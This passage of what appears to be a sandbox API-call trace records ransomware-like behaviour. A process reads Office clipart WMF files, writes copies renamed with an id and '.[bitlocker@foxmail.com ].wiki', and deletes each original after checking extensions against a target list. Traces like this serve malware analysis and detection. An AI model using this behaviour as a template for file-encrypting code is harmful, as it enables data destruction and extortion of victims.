lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString=".7z") returned 3 [0061.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.350] lstrlenW (lpString=".dbf") returned 4 [0061.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.350] lstrlenW (lpString=".1cd") returned 4 [0061.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.350] lstrlenW (lpString=".jpg") returned 4 [0061.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.350] lstrlenW (lpString=".doc") returned 4 [0061.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString=".docx") returned 5 [0061.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.350] lstrlenW (lpString=".pdf") returned 4 [0061.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString=".xls") returned 4 [0061.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.350] lstrlenW (lpString=".xlsx") returned 5 [0061.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.350] lstrlenW (lpString=".ppt") returned 4 [0061.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.350] lstrlenW (lpString=".zip") returned 4 [0061.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.350] lstrlenW (lpString=".rar") returned 4 [0061.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString=".bz2") returned 4 [0061.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.351] lstrlenW (lpString=".7z") returned 3 [0061.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.351] lstrlenW (lpString=".dbf") returned 4 [0061.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.351] lstrlenW (lpString=".1cd") returned 4 [0061.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.351] lstrlenW (lpString=".jpg") returned 4 [0061.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.351] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.351] lstrlenW (lpString="AN04235_.WMF") returned 12 [0061.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.351] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=7804) returned 1 [0061.351] CloseHandle (hObject=0x180) returned 1 [0061.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0061.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.352] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.352] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.352] GetLastError () returned 0x0 [0061.352] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0061.354] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0061.355] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.355] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.355] SetEndOfFile (hFile=0x20c) returned 1 [0061.355] CloseHandle (hObject=0x20c) returned 1 [0061.355] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.355] SetEndOfFile (hFile=0x180) returned 1 [0061.356] CloseHandle (hObject=0x180) returned 1 [0061.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0061.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.357] lstrlenW (lpString=".doc") returned 4 [0061.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.357] lstrlenW (lpString=".docx") returned 5 [0061.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.357] lstrlenW (lpString=".pdf") returned 4 [0061.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.357] lstrlenW (lpString=".xls") returned 4 [0061.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.357] lstrlenW (lpString=".xlsx") returned 5 [0061.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.357] lstrlenW (lpString=".ppt") returned 4 [0061.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.357] lstrlenW (lpString=".zip") returned 4 [0061.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.357] lstrlenW (lpString=".rar") returned 4 [0061.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.357] lstrlenW (lpString=".bz2") returned 4 [0061.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.357] lstrlenW (lpString=".7z") returned 3 [0061.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.357] lstrlenW (lpString=".dbf") returned 4 [0061.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.357] lstrlenW (lpString=".1cd") returned 4 [0061.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.357] lstrlenW (lpString=".jpg") returned 4 [0061.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.358] lstrlenW (lpString=".doc") returned 4 [0061.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString=".docx") returned 5 [0061.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.358] lstrlenW (lpString=".pdf") returned 4 [0061.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString=".xls") returned 4 [0061.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.358] lstrlenW (lpString=".xlsx") returned 5 [0061.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.358] lstrlenW (lpString=".ppt") returned 4 [0061.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.358] lstrlenW (lpString=".zip") returned 4 [0061.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.358] lstrlenW (lpString=".rar") returned 4 [0061.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString=".bz2") returned 4 [0061.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString=".7z") returned 3 [0061.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.358] lstrlenW (lpString=".dbf") returned 4 [0061.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.358] lstrlenW (lpString=".1cd") returned 4 [0061.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0061.358] lstrlenW (lpString=".jpg") returned 4 [0061.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.359] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.359] lstrlenW (lpString="AN04267_.WMF") returned 12 [0061.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.359] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=7804) returned 1 [0061.359] CloseHandle (hObject=0x180) returned 1 [0061.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0061.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.359] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.359] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.360] GetLastError () returned 0x0 [0061.360] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0061.361] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0061.362] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.362] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.362] SetEndOfFile (hFile=0x20c) returned 1 [0061.362] CloseHandle (hObject=0x20c) returned 1 [0061.362] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.362] SetEndOfFile (hFile=0x180) returned 1 [0061.363] CloseHandle (hObject=0x180) returned 1 [0061.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0061.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.364] lstrlenW (lpString=".doc") returned 4 [0061.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.364] lstrlenW (lpString=".docx") returned 5 [0061.364] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.364] lstrlenW (lpString=".pdf") returned 4 [0061.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.364] lstrlenW (lpString=".xls") returned 4 [0061.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.364] lstrlenW (lpString=".xlsx") returned 5 [0061.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.364] lstrlenW (lpString=".ppt") returned 4 [0061.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.364] lstrlenW (lpString=".zip") returned 4 [0061.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.364] lstrlenW (lpString=".rar") returned 4 [0061.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.364] lstrlenW (lpString=".bz2") returned 4 [0061.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.364] lstrlenW (lpString=".7z") returned 3 [0061.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.364] lstrlenW (lpString=".dbf") returned 4 [0061.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.364] lstrlenW (lpString=".1cd") returned 4 [0061.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.364] lstrlenW (lpString=".jpg") returned 4 [0061.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.365] lstrlenW (lpString=".doc") returned 4 [0061.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString=".docx") returned 5 [0061.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.365] lstrlenW (lpString=".pdf") returned 4 [0061.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString=".xls") returned 4 [0061.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.365] lstrlenW (lpString=".xlsx") returned 5 [0061.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.365] lstrlenW (lpString=".ppt") returned 4 [0061.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.365] lstrlenW (lpString=".zip") returned 4 [0061.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.365] lstrlenW (lpString=".rar") returned 4 [0061.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString=".bz2") returned 4 [0061.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString=".7z") returned 3 [0061.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.365] lstrlenW (lpString=".dbf") returned 4 [0061.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.365] lstrlenW (lpString=".1cd") returned 4 [0061.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0061.365] lstrlenW (lpString=".jpg") returned 4 [0061.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.365] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.365] lstrlenW (lpString="AN04269_.WMF") returned 12 [0061.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.366] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=2016) returned 1 [0061.366] CloseHandle (hObject=0x180) returned 1 [0061.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0061.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.366] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.366] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.366] GetLastError () returned 0x0 [0061.366] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0061.368] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0061.368] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.369] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.369] SetEndOfFile (hFile=0x20c) returned 1 [0061.369] CloseHandle (hObject=0x20c) returned 1 [0061.369] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.369] SetEndOfFile (hFile=0x180) returned 1 [0061.370] CloseHandle (hObject=0x180) returned 1 [0061.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0061.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.370] lstrlenW (lpString=".doc") returned 4 [0061.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.370] lstrlenW (lpString=".docx") returned 5 [0061.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.370] lstrlenW (lpString=".pdf") returned 4 [0061.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.370] lstrlenW (lpString=".xls") returned 4 [0061.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.370] lstrlenW (lpString=".xlsx") returned 5 [0061.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.370] lstrlenW (lpString=".ppt") returned 4 [0061.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.370] lstrlenW (lpString=".zip") returned 4 [0061.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.370] lstrlenW (lpString=".rar") returned 4 [0061.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString=".bz2") returned 4 [0061.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString=".7z") returned 3 [0061.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.371] lstrlenW (lpString=".dbf") returned 4 [0061.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.371] lstrlenW (lpString=".1cd") returned 4 [0061.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.371] lstrlenW (lpString=".jpg") returned 4 [0061.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 